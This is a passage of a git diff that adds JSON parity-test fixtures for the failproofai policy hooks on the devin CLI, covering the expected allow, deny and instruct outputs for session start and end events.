b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..49989954 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3365a423 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..112f771e --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..55f3e22d --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8cc32c47 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..965bce87 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..234d58b8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ea662616 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..cf2572ca --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ba88c7cc --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bc51e9b6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..699b80f5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8bfdac1c --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d82ea6a1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2caae0ee --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..886ce6cb --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ab5f8992 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ccfad6c7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..12f26c6a --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__one-policy.json 